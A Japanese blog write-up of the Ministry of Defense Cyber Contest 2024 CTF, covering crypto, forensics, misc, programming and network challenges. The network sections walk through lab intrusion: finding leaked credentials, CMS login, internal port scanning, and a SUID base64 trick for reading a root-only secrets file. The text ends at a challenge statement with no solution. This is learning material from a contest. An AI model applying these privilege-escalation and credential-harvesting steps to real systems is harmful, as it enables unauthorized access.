st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

防衛省サイバーコンテスト 2024 writeup

2/25に12時間というちょうどよい競技時間で開催された。21時終了だったけれども、17時45分ごろに最速で全完して2位。途中でヒントを開くために2ポイントを使ってしまい*1*2*3、ノーヒント勢に抜かれてしまわないか最後までヒヤヒヤしつつスコアボードを見守っていた。そして終了直前の20時45分ごろに抜かれてしまい、後悔の念に駆られる。

ただ、第1回は1位、第2回は3位、第3回は6位*4と来ていい加減にリベンジを果たしたかったので嬉しい。前回は飛行機の中からの参加であったためまったく余裕がなく、ろくにメモも取っていなかったのでwriteupを書けなかったけれども、今回はメモを取りつつやっていたので書いていきたい。とはいえ、そこまで詳細にメモは取っていなかったし、問題数も多いため簡易的なwriteupとなることを容赦いただきたい。


[Welcome 10] Welcome! (313 solves)

防衛省サイバーコンテスト 2024 へのご参加ありがとうございます!

この問題では解答の方法を確認し、ほかの問題のヒントを開放するのに必要な得点を得ることができます。添付のテキストファイル Welcome.txt にフラグが記載されています。ダウンロードし確認してください。

また、 CyberContest2024.ovpn ファイルは、問題用サーバーに接続するために使用する VPN 設定ファイルです(SHA256: ce27109188e817f3340fa97301522afe56fd830da9f71b2dc7748a1c30e65895)。事前に配布いたしました参加要領に従って接続を行ってください。

解答形式:flag{XXXXXXXX} (半角英数記号)

添付ファイル: Welcome.txt, CyberContest2024.ovpn

Welcome.txt にフラグが含まれていた。

flag{WelcomeToMODCyberContest!}

[Crypto 10] Information of Certificate (284 solves)

Easy.crt ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。

解答形式:flag{XXXXXXXXXXXXXXXXXX} (半角英数記号)

添付ファイル: Easy.crt

証明書が配布されている。開いてみると、たしかに問題文の通りCNにフラグが含まれている。

flag{QRK7rNJ3hShV.vlc-cybercontest.invalid}

[Crypto 20] Missing IV (80 solves)

NoIV.bin ファイルは、128bit AES の CBC モードで暗号化した機密ファイルですが、困ったことに IV (初期化ベクトル) を紛失してしまいました。このファイルからできる限りのデータを復元し、隠されているフラグを抽出してください。

暗号鍵は 16 進数表記で 4285a7a182c286b5aa39609176d99c13 です。

解答形式:flag{XXXXXXXXXX} (半角英数字)

添付ファイル: NoIV.bin

IVを仮に 00 00 00 … としつつ、雑にCyberChefに投げてみる。なるほど、PK がところどころ含まれていたり、ファイル名っぽいものもあったりでZIPの雰囲気がある。

適当にZIPファイルを作成して、先頭16バイトを持ってくる。これを file に投げると OpenDocument Text ということだったので、拡張子を odt に変えてWordで開く。フラグが得られた。

flag{ESYQV0fPMxz4wMmU}

[Crypto 20] Short RSA Public Key (53 solves)

RSA-cipher.dat ファイルは RSA 公開鍵 pubkey.pem で暗号化されています。公開鍵から秘密鍵を割り出し、暗号を解読してください。なお、パディングは PKCS#1 v1.5 です。

解答形式:flag{XXXXXXXXXX} (半角英数字)

添付ファイル: pubkey.pem, RSA-cipher.dat

PEMファイルに含まれるModulusは次の通り。

$ openssl rsa -text -pubin < pubkey.pem
Public-Key: (256 bit)
Modulus:
    00:ad:81:c9:26:41:c0:b1:8c:4e:da:55:1c:1d:78:
    28:04:4e:3e:4a:75:19:aa:c9:0e:e4:69:1c:4a:86:
    dc:e2:e1
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK2BySZBwLGMTtpVHB14KAROPkp1GarJ
DuRpHEqG3OLhAgMBAAE=
-----END PUBLIC KEY-----

FactorDBに素因数分解の結果が載っていた。rsatoolで秘密鍵を作成し、OpenSSLで復号するとフラグが得られた。

$ python3 ~/tools/rsatool/rsatool.py -p 1011146650909449935800449563521726151 -q 77614294907759846691928156982114516291863 -e 65537 -f PEM > priv.pem
$ cat RSA-cipher.dat | openssl rsautl -decrypt -inkey priv.pem
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
flag{X0Myx6IHI8}
flag{X0Myx6IHI8}

[Crypto 30] Cryptographically Insecure PRNG (22 solves)

PRNG.bin ファイルは下記の式で表される線形合同法で生成された疑似乱数列で XOR をとって暗号化されています。なお、生成された 4 バイトの数を最下位ビットから近い順に 1 バイトずつ平文と XOR をとるものとします。例えば、Hello World を x_0 = 4294967295 = 0xFFFFFFFF の初期値で暗号化した場合、16 進ダンプで b7 9a 93 93 cb 21 57 6f a3 ec 65 となります。

x_{n+1} = (233 x_n + 653) mod 4294967296 鍵(初期値= x_0)を推定し、PRNG.bin に対応する平文からフラグを抽出してください。なお、平文は(内容に意味はありませんが) ASCII でエンコードされた英文であったことがわかっています。また、最初の単語は 4 文字以上です。

解答形式:flag{XXXXXXXXXX} (半角英数字)

単純なLCGであり、また mod 4294967296 ということなので、4294967296通りの「鍵」をブルートフォースしつつ復号してみて、ASCII文字ばかりが現れればそれが正解だ。適当なコードを書く。

#include <stdio.h>
#include <string.h>

#define SIZE 834
#define isAscii(c) (0x20 <= (c) && (c) < 0x7f)

int test(unsigned int seed, unsigned int *buf) {
    unsigned int x = seed;

    unsigned int y;
    
    for (int i = 0; i < 7; i++) {
        y = buf[i] ^ x;
        if (
            !(isAscii(y & 0xff) &&
            isAscii((y >> 8) & 0xff) &&
            isAscii((y >> 16) & 0xff) &&
            isAscii((y >> 24) & 0xff))
        ) {
            return 0;
        }
        
        x = 233 * x + 653;
    }

    return 1;
}

void go(unsigned int seed, unsigned int *buf) {
    unsigned int x = seed;

    for (int i = 0; i < SIZE / 4; i++) {
        buf[i] ^= x;
        x = 233 * x + 653;
    }

    puts(buf);
}

int main(void) {
    FILE *f;
    unsigned int buf[100000] = {0};
    f = fopen("PRNG.bin", "r");
    fread(buf, sizeof(char), SIZE, f);

    unsigned int seed;
    for (unsigned int seed = 0; seed < 0xffffffff; seed++) {
        if (seed % 0x1000000 == 0) {
            printf("[progress] %x\n", seed);
        }

        if (test(seed, buf)) {
            printf("0x%x\n", seed);
            go(seed, buf);
            return 0;
        }
    }

    return 0;
}

しばらく待つとフラグが得られた。

…
Against selection release between gray knowledge. To interest trot versus protective morning. Round death annoy on interesting bat. Inside finger zip of jolly skate. Opposite flavor exercise of husky quiet. Minus plate include despite whole development. Below society desert than kindhearted head. To shirt guarantee anti steadfast secretary. Beneath tree laugh like romantic expert. To sisters end below hallowed carriage. flag{QVFE5i5LkZdR} Inside hook point into depressed hate. Past act reply anti quarrelsome stove. Aboard badge memorize amid vagabond farm. On riddle request without offbeat pets. At mouth object above present ink. Near curve stroke in garrulous trouble. Anti country answer through swift talk. Over test escape into puzzling crook. Than stream waste near uneven ants. About fireman choke along defective base
flag{QVFE5i5LkZdR}

[Forensics 10] NTFS Data Hide (141 solves)

NTFSDataHide フォルダに保存されている Sample.pptx を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイル NTFS.vhd を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。

解答形式:flag{XXXXXX}

添付ファイル: NTFS.zip

NTFS.zip を展開すると NTFS.vhd が出てきた。FTK Imagerで開き、NTFSボリュームに含まれているファイルを見ていくと、たしかに Sample.pptx というファイルがある。しかしながら、特にマクロ等が仕込まれている様子はない。

う~んと思いつつAutopsyで同じことを試していると、なんか知らんがフラグがいた。

flag{data_can_be_hidden_in_ads}

[Forensics 10] NTFS File Delete (135 solves)

NTFSFileDelete フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。

問題「NTFS Data Hide」に引き続き、仮想ディスクファイル NTFS.vhd を解析して、削除された flag.txt に書かれていた内容を見つけ出してください。

解答形式:flag{XXXXXX}

先程共有されたvhdファイルをFTK Imagerで開くと、NTFSFileDelete というフォルダに削除された flag.txt が見つかる。

flag{resident_in_mft}

[Forensics 20] HiddEN Variable (42 solves)

このメモリダンプが取得された環境にはフラグが隠されています。 memdump.raw を解析して、フラグを見つけ出してください。

メモリダンプファイルのダウンロードはこちら: メモリダンプは展開すると 4.5GB 程度になるので注意してください。

解答形式:flag{XXXXXX}

添付ファイル: memdump.raw

添付されている memdump.raw をVolatilityで見ていく。問題名に ENV, Variable *5とあるので、環境変数に何かあるのだろう。vol -f memdump.raw windows.envars > envars.txt して envars.txt を見ていると、なにかあった。

…
2816    sihost.exe  0x1747e0e2010   FLAG    BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
…

ROT13を通したり、ひっくり返したり、テーブルを色々試したりしたものの、Base64デコードとその変化球ではダメだった。ではBase64以外のエンコード方式ではないかと考え、CyberChefが対応しているものを片っ端から試していったところ、Base58デコード*6でフラグが得られた。

flag{volatile_environment_variable}

[Forensics 20] NTFS File Rename (115 solves)

NTFSFileRename フォルダに保存されている Renamed.docx は、以前は別のファイル名で保存されていました。

問題「NTFS File Delete」に引き続き、仮想ディスクファイル NTFS.vhdを解析して、 Renamed.docx の元のファイル名を明らかにしてください。

解答形式:flag{XXXXXX} (XXXXXX.docxから拡張子を除いた部分をflag{}の中に入れて解答してください)

$Extend\$UsnJrnl からUSNジャーナルを見ていく。ちゃんと読む必要もなく、strings でそれっぽいファイル名が見つかる。

$ strings -e l -n 8 \$J | sort | uniq
…
D<journaling_system_is_powerful.docx
…
flag{journaling_system_is_powerful}

[Forensics 30] My Secret (58 solves)

問題「HiddEN Variable」に引き続き、メモリダンプファイル memdump.raw を解析して、秘密(Secret)を明らかにしてください。

解答形式:flag{XXXXXX}

vol -f memdump.raw windows.cmdline.CmdLine > cmdline.txt してから cmdline.txt を見ていると、次のように 7z.exe を動かしている様子が見つかった。パスワードもここから得られる。

…
5516    7z.exe  7z  x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\
…

vol -f memdump.raw dumpfiles --pid="5516"7z.exe が開いている Secrets.7z の抽出を試みる。これを先程のパスワードで展開すると、フラグが得られた。

flag{you_cannot_find_this_secret!}

[Miscellaneous 10] Une Maison (158 solves)

画像 maison.jpg の中にフラグが隠されています。探してみてください。

解答形式:flag{XXXXXX}

添付ファイル: maison.jpg

かなり巨大な画像が与えられる。これをGoogleで画像検索してみると、似たような画像が見つかった。「青い空を見上げればいつもそこに白い猫」でdiffを見てみると、バーコードが付け足されている様子がわかる。

flag{$50M!}

[Miscellaneous 10] String Obfuscation (239 solves)

難読化された Python コード string_obfuscation.py ファイルからフラグを抽出してください。

解答形式:flag{XXXXXXXX}

添付ファイル: string_obfuscation.py

次のようなPythonコードが与えられている。if の前に print(KEY) を付け足せばよい。

import sys

if len(sys.argv) < 2:
    exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
    print("flag{%s}" % FLAG)
flag{3FxYFm4uTYDFFzmb3}

[Miscellaneous 20] Where Is the Legit Flag? (117 solves)

fakeflag.py を実行しても偽のフラグが出力されてしまいます。難読化されたコードを解読し、本物のフラグを見つけ出してください。

解答形式:flag{XXXXXXXX}

添付ファイル: fakeflag.py

次のようなPythonコードが与えられている。

exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52))
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]
exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))

exec の中で exec が呼ばれている。execprint に置き換えて展開し、元の exec を出力されたコードに置き換えてもちゃんと動く。

最終的に、以下のように文字列を作るだけ作って出力していない箇所があるので、これに print を付け足してやることでフラグが得られた。

( #  Around spark scorch above spotty grape.
    ''#  Underneath jewel chop past dependent rifle.
    .    join                          ([
        #  Since cobweb tie off hurt string.
SATO[i]         #  Since cobweb tie off hurt string.
for i in SUZUKI
        # if i > 4728:
        #     break
        # t = 234667 * 83785
        # print(t/3457783)
#  Through queen dam of slippery comparison.
])
#  By wall stroke without secret wash.
)
flag{PHmN2ILK6vsa}

[Miscellaneous 20] Utter Darkness (118 solves)

画像ファイル darkness.bmp に隠されているフラグを見つけてください。

解答形式:flag{XXXXXX}

添付ファイル: darkness.bmp

真っ黒なビットマップファイルが与えられる。LSB等にも何も仕込まれておらず、正真正銘の真っ黒な画像だ。ふと、色は同じでもパレットの番号が違うのではないかと考える。「青い空を見上げればいつもそこに白い猫」でパレットごとに色を変えてやると、フラグが出てきた。

flag{YjM5MDUyYzAxMj}

[Miscellaneous 30] Serial Port Signal (14 solves)

Tx.csv は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。

解答形式:flag{XXXXXXXX} (半角英数字)

添付ファイル: Tx.csv

次のようなCSVが与えられる。カラム名はそれぞれ microseconds, logic。0, 1はだいたい5つぐらい固まっているのだけれども、ボーレートと microseconds でズレがあると4つや6つの塊が現れそう。

では、それを考慮して0, 1の整理をした後でどのようにしてデータを得るか。どれぐらいをひとかたまりとするか、どこからデータの始まりとするか等、雑に色々試していたところ、以下のようなスクリプトでフラグが出てきた。

import csv
import re

t = ''
with open('Tx.csv') as f:
    reader = csv.reader(f)
    for row in reader:
        t += row[1]

a = re.findall(r'0{5,}|1{5,}', t)
a = [x[0] * round(len(x) / 5) for x in a]

for i in range(15):
    print(i, ''.join(chr(
        int(c[::-1][:7], 2)
    ) for c in re.findall(r'.{10}', ''.join(a)[i:])))
flag{VwHMP5GQ}

[Network 10] Discovery (63 solves)

あなたはクライアントに依頼されて リリース予定の Web サーバー「10.10.10.21」に問題がないか確認することになりました。

対象サーバーにインストールされている CMS のバージョンを特定し、解答してください。

解答形式: flag{*.*.*.*, ********: *****} (バージョン番号, リビジョン番号)

何もオプションを付けずに nmap を叩いたところ、80/tcpが開いていた。これにcurlでアクセスすると、schatzsuche.ctf へリダイレクトされる。が、内容はなにもない。

$ nmap 10.10.10.21
Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-25 09:25 JST
Nmap scan report for 10.10.10.21
Host is up (0.010s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.27 seconds

$ curl -i 10.10.10.21 -H "Host: schatzsuche.ctf"
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 25 Feb 2024 00:26:04 GMT
Content-Type: text/html
Content-Length: 428
Last-Modified: Thu, 21 Dec 2023 10:30:58 GMT
Connection: keep-alive
ETag: "658413e2-1ac"
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
        <head><meta charset="UTF-8"/><title>Welcome to Our Site</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="style.css"></head><body >    <div class="container">
        <h1>Welcome to Our Site</h1>
        <p>This site is currently under construction.</p>
        <p>Please check back later for more information.</p>
    </div></body></html>

/etc/hosts を書き換えて schatzsuche.ctf10.10.10.21 に解決されるようにしておく。gobusterで directory-list-2.3-small.txt を使ってファイルやディレクトリを探すと、/ftp が見つかった。これにアクセスするとファイルやディレクトリの一覧が表示され、credentials.txt が見つかる。

$ curl http://schatzsuche.ctf/ftp/credentials.txt
[WebEdition account]
webeditor
verystrongpass2024

それ以外には見つからず。DirBusterとその辞書で探してみたところ、/cmsadmin が見つかった。

$ dirb http://schatzsuche.ctf

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb 25 14:56:15 2024
URL_BASE: http://schatzsuche.ctf/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

                                                                             GENERATED WORDS: 4612

---- Scanning URL: http://schatzsuche.ctf/ ----
                                                                             + http://schatzsuche.ctf/cmsadmin (CODE:301|SIZE:162)                       
                                                                             ==> DIRECTORY: http://schatzsuche.ctf/ftp/
+ http://schatzsuche.ctf/index.html (CODE:200|SIZE:428)                     
+ http://schatzsuche.ctf/robots.txt (CODE:200|SIZE:4700)                    
                                                                            
---- Entering directory: http://schatzsuche.ctf/ftp/ ----
                                                                                                                                                            
-----------------
END_TIME: Sun Feb 25 14:58:01 2024
DOWNLOADED: 9224 - FOUND: 3

/cmsadmin からは /webEdition/ へリダイレクトされる。webEdtion CMSなるCMSのログインフォームが表示された。ここで先程手に入れたcredsを使ってログインする。メニューのPreferences → System Informationで細かいバージョン情報が得られた。

flag{9.2.2.0, Revision: 14877}

[Network 10] FileExtract (188 solves)

添付の FileExtract.pcapng ファイルからフラグを見つけ出し、解答してください。

解答形式:flag{**********}

添付ファイル: FileExtract.pcapng

FTPで通信している様子がキャプチャされている。s3cr3t.zip が受け渡されているので、これを抽出する。

パスワードがかかっているけれども、これはログイン時に使われているものがそのまま使えた。

flag{6qhFJSHAP4A4}

[Network 20] Exploit (32 solves)

クライアントに管理情報が露見していることを報告しました。 問題「Discovery」に引き続き、対象サーバー「10.10.10.21」にインストールされている CMS の脆弱性を調査し、機密情報(フラグ)を入手してください。

本問題の解答には、「Discovery」で発見した CMS を使用します。 なお、対象のCMSのコンテンツは約5分に1回の頻度でリセットされます。

解答形式:flag{******************}

省略する。重いし、5分ごとのリセットは頻度が高すぎるし、そもそも全ユーザで共通の環境であったために、自分の解法がほかの人に、あるいはほかの人の解法が自分に見えてしまっていた。

flag{G3t_R3v3rs3_Sh3ll}

[Network 20] DO_tHe_best (3 solves)

IPアドレス「10.10.10.20」のターゲットシステムに隠された機密情報(フラグ)を見つけ出し、解答してください。

解答形式:flag{**********}

問題名の大文字部分を取ると DOH だ。DNS over HTTPS(DoH)だろう。たしかに、これでDoHが利用できる。

$ curl -k -H "Accept: application/dns-json" "https://10.10.10.20/dns-query?name=example.com&type=A"
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"example.com.","type":1}],"Authority":[{"name":"example.com.","type":6,"TTL":86400,"Expires":"Mon, 26 Feb 2024 03:53:35 UTC","data":"ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"}]}

AXFRやらなんやら色々試してダメだったけれども、ふと 10.10.10.20 の逆引きをするとどうなるか気になった。なるほど、DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com. というドメイン名が出てきた。

$ curl -k "https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa&type=PTR"
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"20.10.10.10.in-addr.arpa.","type":12}],"Answer":[{"name":"20.10.10.10.in-addr.arpa.","type":12,"TTL":86400,"Expires":"Mon, 26 Feb 2024 11:00:43 UTC","data":"DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com."}]}

このドメイン名でアクセスしてみる。フラグが得られた。

$ curl -k https://10.10.10.20 -H "Host: DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu
.example.com"
<!DOCTYPE html>
<html>
<head>
<title>DO tHe best</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
        <h1>flag{8NZfrhDH-ZGe}</h1>
</body>
</html>
flag{8NZfrhDH-ZGe}

[Network 30] Pivot (19 solves)

問題「Exploit」より、クライアントに CMS に脆弱性が確認されたことを報告しました。 クライアントは、対象サーバーはコンテナ化しているので安全だと思っていたと驚いていました。

クライアントから追加の依頼があり、保守用の SSH アカウント情報が漏洩した場合の影響を調査することになりました。ポートスキャンやファイル探索などを駆使し、対象サーバー「10.10.10.21」から機密情報(フラグ)を入手してください。

解答方式:flag{***************}

【ログイン情報】

User: george
Password: Mercedes63

george のホームディレクトリに secrets.txt というファイルがあるけれども、root しか読めない。

george@330bb6afc5ef:~$ ls -la secrets.txt
-r-------- 1 root root 54 Jan 25 20:10 secrets.txt

ファイルを書き込める場所が /dev/shm ぐらいしかないし、wgetgeorge には使えないし、色々とつらい環境が与えられる。pure bashでポートスキャンをしてやると、192.168.32.2 では9000/tcpが、192.168.32.3 では3306/tcpが、192.168.32.5 では80/tcpがそれぞれ開いている様子が確認できる。後ろの2つはMySQLとHTTPだろうけれども、9000/tcpが(適当なデータを送っても反応がないし)なかなかわからなかった。ふと、Exploitで使われていることを確認していたFastCGIでないかと気づく。

ということで、SSHのポートフォワーディングを活用しつつ、.2にGopherusで生成したペイロードを投げてPHPコードを実行したり(これはExploitですでにできているので無意味)、そこでCMSのために使われているMySQLのcredsを使って.3のDBに入ったり、しかしFILE権限がないことや大したデータがないこと(CMSに admin というユーザがおり、bcryptでハッシュ化されたパスワードがあったものの、rockyou.txt では該当するパスワードが存在しないこと等)を確認したり、色々ラテラルムーブメントを試みていたけれども、成果はなし。

ふと、george のホームディレクトリにあった secrets.txt について、suidのついたバイナリで読めないかと考える。探すとBase64が見つかった*7

$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwsr-xr-x 1 root root 55672 Feb 21  2022 /usr/bin/su
-rwsr-xr-x 1 root root 40496 Nov 24  2022 /usr/bin/newgrp
-rwsr-xr-x 1 root root 72072 Nov 24  2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44808 Nov 24  2022 /usr/bin/chsh
-rwxr-sr-x 1 root shadow 23136 Nov 24  2022 /usr/bin/expiry
-rwxr-sr-x 1 root tty 22904 Feb 21  2022 /usr/bin/wall
-rwsr-xr-- 1 root root 47480 Feb 21  2022 /usr/bin/mount
-rwsr-xr-x 1 root root 72712 Nov 24  2022 /usr/bin/chfn
-rwxr-sr-x 1 root shadow 72184 Nov 24  2022 /usr/bin/chage
-rwsr-xr-- 1 root root 35192 Feb 21  2022 /usr/bin/umount
-rwsr-xr-x 1 root root 35328 Feb  8  2022 /usr/bin/base64
-rwxr-sr-x 1 root _ssh 293304 Aug 24  2023 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 338536 Aug 24  2023 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwxr-sr-x 1 root shadow 26776 Feb  2  2023 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 22680 Feb  2  2023 /usr/sbin/pam_extrausers_chkpwd

これでまた別のcredsが得られた。

$ base64 secrets.txt | base64 -d
[MariaDB Access Information]
db_user
H4Rib0_90ldB4REN

早速これでDBを確認していく。flag5.flag というテーブルが見つかった。

$ mysql --protocol=TCP -h localhost -P 8000 -u db_user -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 581
Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select table_schema, table_name from information_schema.tables;
...
| flag5              | flag                                  |
+--------------------+---------------------------------------+
81 rows in set (0.01 sec)

これにフラグが含まれていた。

mysql> select * from flag5.flag;
+----+------------------------+
| id | flag                   |
+----+------------------------+
|  1 | flag{p!V071ng_M31s73r} |
+----+------------------------+
1 row in set (0.01 sec)
flag{p!V071ng_M31s73r}

[Programming 10] Logistic Map (211 solves)

下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。

x_{n+1} = 3.99 x_n (1 - x_n)

解答形式:flag{X.XXXXXXX} (半角数字)

Pythonで計算すればよい。

$ python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> x = 0.3
>>> for _ in range(9999):
...     x = 3.99 * x * (1 - x)
...
>>> x
0.8112735079776592
flag{0.8112735}

[Programming 20] Randomness Extraction (45 solves)

ファイル random.dat は一様でない乱数生成器の出力ですが、一部にフラグが埋め込まれています。フォン・ノイマンランダムネスエクストラクターを適用してフラグを抽出してください。

解答形式:flag{XXXXXXX} (半角英数字)

添付ファイル: random.zip

適当に "neumann randomness extractors github" のようなクエリでググるとMayankKharbanda/randomness_extractorsがヒットする。これに投げるとなんかフラグが出てきた。スクリプトキディだ。

$ python3 randomness_extractors/neumann/von_neumann.py -i random.dat -o test
$ strings -n 6 test | grep flag
flag{3TcPs8QFcX}
flag{3TcPs8QFcX}

[Programming 20] XML Confectioner (80 solves)

添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たすものを探してください。

  • 少なくとも二つの子要素 sweets:icecream が含まれる
  • 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
  • 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
  • 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
  • cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む

フラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。

解答形式:flag{XXXXXXXX} (半角英数字)

添付ファイル: sweets.zip

XPathを使えばよいのだろうけれども、ぱっと文法を思い出せなかったし、適当なドキュメントを見ても問題を解くのに十分なレベルまで持っていける気がしなかったので、Pythonで雑に書く。lxmlの使い方もなっとらん。

from lxml import etree
tree = etree.fromstring(open('sweets/sweets.xml', 'rb').read())
for batch in tree.findall('./*'):
    a = batch.findall('*')

    icecreams = [x for x in a if 'icecream' in x.tag]
    if len(icecreams) < 2:
        continue

    amounts = [float(x.attrib.get('{http://xml.vlc-cybercontest.com/icecream}amount')[:-1]) for x in icecreams]
    if any(x for x in amounts if x <= 105.0):
        continue

    candies = [x for x in a if 'candy' in x.tag]
    weights = [float(x.attrib.get('{http://xml.vlc-cybercontest.com/candy}weight')[:-1]) for x in candies]
    if sum(weights) < 28.0:
        continue

    shapes = [x.attrib.get('{http://xml.vlc-cybercontest.com/candy}shape') for x in candies]
    if len(set(shapes)) < 5:
        continue

    cookies = [x for x in a if 'cookie' in x.tag]
    print([
        x.attrib.get('{http://xml.vlc-cybercontest.com/cookie}kind') for x in cookies
    ])

    print(etree.tostring(batch))

まだ候補はあるけれども、ここまでくれば後は手作業で十分だ。

flag{sZ8d5FbntXbL9uwP}

[Programming 30] Twisted Text (74 solves)

添付の画像 Twisted.png は、画像の中心からの距離 r [pixel] に対して

θ = - (r ^ 2) / (250 ^ 2) [rad]

だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。

解答形式:flag{XXXXXXX} (半角英数字)

添付ファイル: Twisted.png

